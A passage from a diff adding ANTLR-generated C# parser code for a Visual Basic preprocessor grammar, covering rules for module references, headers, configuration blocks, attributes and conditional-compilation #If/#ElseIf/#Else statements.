GetToken(VBPreprocessorsParser.SEMICOLON, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ModuleReferenceComponentContext moduleReferenceComponent() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBPreprocessorsParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBPreprocessorsParser.NEWLINE, i); + } + public ModuleReferenceContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_moduleReference; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterModuleReference(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitModuleReference(this); + } + } + + [RuleVersion(0)] + public ModuleReferenceContext moduleReference() { + ModuleReferenceContext _localctx = new ModuleReferenceContext(Context, State); + EnterRule(_localctx, 14, RULE_moduleReference); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 169; + Match(OBJECT); + State = 171; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 170; + Match(WS); + } + } + + State = 173; + Match(EQ); + State = 175; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 174; + Match(WS); + } + } + + State = 177; + moduleReferenceValue(); + State = 183; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==SEMICOLON) { + { + State = 178; + Match(SEMICOLON); + State = 180; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 179; + Match(WS); + } + } + + State = 182; + moduleReferenceComponent(); + } + } + + State = 188; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,24,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 185; + Match(NEWLINE); + } + } + } + State = 190; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,24,Context); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ModuleReferenceValueContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode STRINGLITERAL() { return GetToken(VBPreprocessorsParser.STRINGLITERAL, 0); } + public ModuleReferenceValueContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_moduleReferenceValue; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterModuleReferenceValue(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitModuleReferenceValue(this); + } + } + + [RuleVersion(0)] + public ModuleReferenceValueContext moduleReferenceValue() { + ModuleReferenceValueContext _localctx = new ModuleReferenceValueContext(Context, State); + EnterRule(_localctx, 16, RULE_moduleReferenceValue); + try { + EnterOuterAlt(_localctx, 1); + { + State = 191; + Match(STRINGLITERAL); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ModuleReferenceComponentContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode STRINGLITERAL() { return GetToken(VBPreprocessorsParser.STRINGLITERAL, 0); } + public ModuleReferenceComponentContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_moduleReferenceComponent; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterModuleReferenceComponent(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitModuleReferenceComponent(this); + } + } + + [RuleVersion(0)] + public ModuleReferenceComponentContext moduleReferenceComponent() { + ModuleReferenceComponentContext _localctx = new ModuleReferenceComponentContext(Context, State); + EnterRule(_localctx, 18, RULE_moduleReferenceComponent); + try { + EnterOuterAlt(_localctx, 1); + { + State = 193; + Match(STRINGLITERAL); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ModuleHeaderContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode VERSION() { return GetToken(VBPreprocessorsParser.VERSION, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBPreprocessorsParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBPreprocessorsParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DOUBLELITERAL() { return GetToken(VBPreprocessorsParser.DOUBLELITERAL, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode CLASS() { return GetToken(VBPreprocessorsParser.CLASS, 0); } + public ModuleHeaderContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_moduleHeader; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterModuleHeader(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitModuleHeader(this); + } + } + + [RuleVersion(0)] + public ModuleHeaderContext moduleHeader() { + ModuleHeaderContext _localctx = new ModuleHeaderContext(Context, State); + EnterRule(_localctx, 20, RULE_moduleHeader); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 195; + Match(VERSION); + State = 196; + Match(WS); + State = 197; + Match(DOUBLELITERAL); + State = 200; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 198; + Match(WS); + State = 199; + Match(CLASS); + } + } + + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ModuleConfigContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode BEGIN() { return GetToken(VBPreprocessorsParser.BEGIN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode END() { return GetToken(VBPreprocessorsParser.END, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBPreprocessorsParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBPreprocessorsParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ModuleConfigElementContext[] moduleConfigElement() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ModuleConfigElementContext moduleConfigElement(int i) { + return GetRuleContext(i); + } + public ModuleConfigContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_moduleConfig; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterModuleConfig(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitModuleConfig(this); + } + } + + [RuleVersion(0)] + public ModuleConfigContext moduleConfig() { + ModuleConfigContext _localctx = new ModuleConfigContext(Context, State); + EnterRule(_localctx, 22, RULE_moduleConfig); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 202; + Match(BEGIN); + State = 204; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 203; + Match(NEWLINE); + } + } + State = 206; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE ); + State = 209; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 208; + moduleConfigElement(); + } + } + State = 211; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==L_SQUARE_BRACKET || _la==IDENTIFIER ); + State = 213; + Match(END); + State = 215; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + { + State = 214; + Match(NEWLINE); + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 217; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,28,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ModuleConfigElementContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode EQ() { return GetToken(VBPreprocessorsParser.EQ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public LiteralContext literal() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE() { return GetToken(VBPreprocessorsParser.NEWLINE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBPreprocessorsParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBPreprocessorsParser.WS, i); + } + public ModuleConfigElementContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_moduleConfigElement; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterModuleConfigElement(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitModuleConfigElement(this); + } + } + + [RuleVersion(0)] + public ModuleConfigElementContext moduleConfigElement() { + ModuleConfigElementContext _localctx = new ModuleConfigElementContext(Context, State); + EnterRule(_localctx, 24, RULE_moduleConfigElement); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 219; + ambiguousIdentifier(); + State = 221; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 220; + Match(WS); + } + } + + State = 223; + Match(EQ); + State = 225; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 224; + Match(WS); + } + } + + State = 227; + literal(); + State = 228; + Match(NEWLINE); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class AmbiguousIdentifierContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] IDENTIFIER() { return GetTokens(VBPreprocessorsParser.IDENTIFIER); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode IDENTIFIER(int i) { + return GetToken(VBPreprocessorsParser.IDENTIFIER, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode L_SQUARE_BRACKET() { return GetToken(VBPreprocessorsParser.L_SQUARE_BRACKET, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode R_SQUARE_BRACKET() { return GetToken(VBPreprocessorsParser.R_SQUARE_BRACKET, 0); } + public AmbiguousIdentifierContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_ambiguousIdentifier; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterAmbiguousIdentifier(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitAmbiguousIdentifier(this); + } + } + + [RuleVersion(0)] + public AmbiguousIdentifierContext ambiguousIdentifier() { + AmbiguousIdentifierContext _localctx = new AmbiguousIdentifierContext(Context, State); + EnterRule(_localctx, 26, RULE_ambiguousIdentifier); + int _la; + try { + int _alt; + State = 242; + ErrorHandler.Sync(this); + switch (TokenStream.LA(1)) { + case IDENTIFIER: + EnterOuterAlt(_localctx, 1); + { + State = 231; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + { + State = 230; + Match(IDENTIFIER); + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 233; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,31,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + } + break; + case L_SQUARE_BRACKET: + EnterOuterAlt(_localctx, 2); + { + State = 235; + Match(L_SQUARE_BRACKET); + State = 237; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 236; + Match(IDENTIFIER); + } + } + State = 239; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==IDENTIFIER ); + State = 241; + Match(R_SQUARE_BRACKET); + } + break; + default: + throw new NoViableAltException(this); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ModuleAttributesContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public AttributeStmtContext[] attributeStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public AttributeStmtContext attributeStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBPreprocessorsParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBPreprocessorsParser.NEWLINE, i); + } + public ModuleAttributesContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_moduleAttributes; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterModuleAttributes(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitModuleAttributes(this); + } + } + + [RuleVersion(0)] + public ModuleAttributesContext moduleAttributes() { + ModuleAttributesContext _localctx = new ModuleAttributesContext(Context, State); + EnterRule(_localctx, 28, RULE_moduleAttributes); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 250; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 244; + attributeStmt(); + State = 246; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + { + State = 245; + Match(NEWLINE); + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 248; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,34,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + } + } + State = 252; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==ATTRIBUTE ); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class MacroIfThenElseStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public MacroIfBlockStmtContext macroIfBlockStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode MACRO_END_IF() { return GetToken(VBPreprocessorsParser.MACRO_END_IF, 0); } + [System.Diagnostics.DebuggerNonUserCode] public MacroElseIfBlockStmtContext[] macroElseIfBlockStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public MacroElseIfBlockStmtContext macroElseIfBlockStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public MacroElseBlockStmtContext macroElseBlockStmt() { + return GetRuleContext(0); + } + public MacroIfThenElseStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_macroIfThenElseStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterMacroIfThenElseStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitMacroIfThenElseStmt(this); + } + } + + [RuleVersion(0)] + public MacroIfThenElseStmtContext macroIfThenElseStmt() { + MacroIfThenElseStmtContext _localctx = new MacroIfThenElseStmtContext(Context, State); + EnterRule(_localctx, 30, RULE_macroIfThenElseStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 254; + macroIfBlockStmt(); + State = 258; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + while (_la==MACRO_ELSEIF) { + { + { + State = 255; + macroElseIfBlockStmt(); + } + } + State = 260; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } + State = 262; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==MACRO_ELSE) { + { + State = 261; + macroElseBlockStmt(); + } + } + + State = 264; + Match(MACRO_END_IF); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class MacroIfBlockCondStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode MACRO_IF() { return GetToken(VBPreprocessorsParser.MACRO_IF, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBPreprocessorsParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBPreprocessorsParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public IfConditionStmtContext ifConditionStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode THEN() { return GetToken(VBPreprocessorsParser.THEN, 0); } + public MacroIfBlockCondStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_macroIfBlockCondStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterMacroIfBlockCondStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitMacroIfBlockCondStmt(this); + } + } + + [RuleVersion(0)] + public MacroIfBlockCondStmtContext macroIfBlockCondStmt() { + MacroIfBlockCondStmtContext _localctx = new MacroIfBlockCondStmtContext(Context, State); + EnterRule(_localctx, 32, RULE_macroIfBlockCondStmt); + try { + EnterOuterAlt(_localctx, 1); + { + State = 266; + Match(MACRO_IF); + State = 267; + Match(WS); + State = 268; + ifConditionStmt(); + State = 269; + Match(WS); + State = 270; + Match(THEN); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class MacroIfBlockStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public MacroIfBlockCondStmtContext macroIfBlockCondStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS() { return GetToken(VBPreprocessorsParser.WS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public CommentBlockContext[] commentBlock() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public CommentBlockContext commentBlock(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBPreprocessorsParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBPreprocessorsParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public CodeBlockContext[] codeBlock() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public CodeBlockContext codeBlock(int i) { + return GetRuleContext(i); + } + public MacroIfBlockStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_macroIfBlockStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterMacroIfBlockStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitMacroIfBlockStmt(this); + } + } + + [RuleVersion(0)] + public MacroIfBlockStmtContext macroIfBlockStmt() { + MacroIfBlockStmtContext _localctx = new MacroIfBlockStmtContext(Context, State); + EnterRule(_localctx, 34, RULE_macroIfBlockStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 272; + macroIfBlockCondStmt(); + State = 274; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 273; + Match(WS); + } + } + + State = 279; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + while (_la==COMMENT) { + { + { + State = 276; + commentBlock(); + } + } + State = 281; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } + State = 283; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 282; + Match(NEWLINE); + } + } + State = 285; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE ); + State = 290; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + while ((((_la) & ~0x3f) == 0 && ((1L << _la) & -7340034L) != 0) || ((((_la - 64)) & ~0x3f) == 0 && ((1L << (_la - 64)) & 509L) != 0)) { + { + { + State = 287; + codeBlock(); + } + } + State = 292; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class MacroElseIfBlockStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode MACRO_ELSEIF() { return GetToken(VBPreprocessorsParser.MACRO_ELSEIF, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBPreprocessorsParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBPreprocessorsParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public IfConditionStmtContext ifConditionStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode THEN() { return GetToken(VBPreprocessorsParser.THEN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public CommentBlockContext[] commentBlock() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public CommentBlockContext commentBlock(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBPreprocessorsParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBPreprocessorsParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public CodeBlockContext[] codeBlock() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public CodeBlockContext codeBlock(int i) { + return GetRuleContext(i); + } + public MacroElseIfBlockStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_macroElseIfBlockStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterMacroElseIfBlockStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitMacroElseIfBlockStmt(this); + } + } + + [RuleVersion(0)] + public MacroElseIfBlockStmtContext macroElseIfBlockStmt() { + MacroElseIfBlockStmtContext _localctx = new MacroElseIfBlockStmtContext(Context, State); + EnterRule(_localctx, 36, RULE_macroElseIfBlockStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 293; + Match(MACRO_ELSEIF); + State = 294; + Match(WS); + State = 295; + ifConditionStmt(); + State = 296; + Match(WS); + State = 297; + Match(THEN); + State = 299; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 298; + Match(WS); + } + } + + State = 304; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + while (_la==COMMENT) { + { + { + State = 301; + commentBlock(); + } + } + State = 306; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } + State = 308; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 307; + Match(NEWLINE); + } + } + State = 310; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE ); + State = 315; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + while ((((_la) & ~0x3f) == 0 && ((1L << _la) & -7340034L) != 0) || ((((_la - 64)) & ~0x3f) == 0 && ((1L << (_la - 64)) & 509L) != 0)) { + { + { + State = 312; + codeBlock(); + } + } + State = 317; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class MacroElseBlockStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode MACRO_ELSE() { return GetToken(VBPreprocessorsParser.MACRO_ELSE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS() { return GetToken(VBPreprocessorsParser.WS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public CommentBlockContext[] commentBlock() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public CommentBlockContext commentBlock(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBPreprocessorsParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBPreprocessorsParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public CodeBlockContext[] codeBlock() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public CodeBlockContext codeBlock(int i) { + return GetRuleContext(i); + } + public MacroElseBlockStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_macroElseBlockStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterMacroElseBlockStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitMacroElseBlockStmt(this); + } + } + + [RuleVersion(0)] + public MacroElseBlockStmtContext macroElseBlockStmt() { + MacroElseBlockStmtContext _localctx = new MacroElseBlockStmtContext(Context, State); + EnterRule(_localctx, 38, RULE_macroElseBlockStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 318; + Match(MACRO_ELSE); + State = 320; 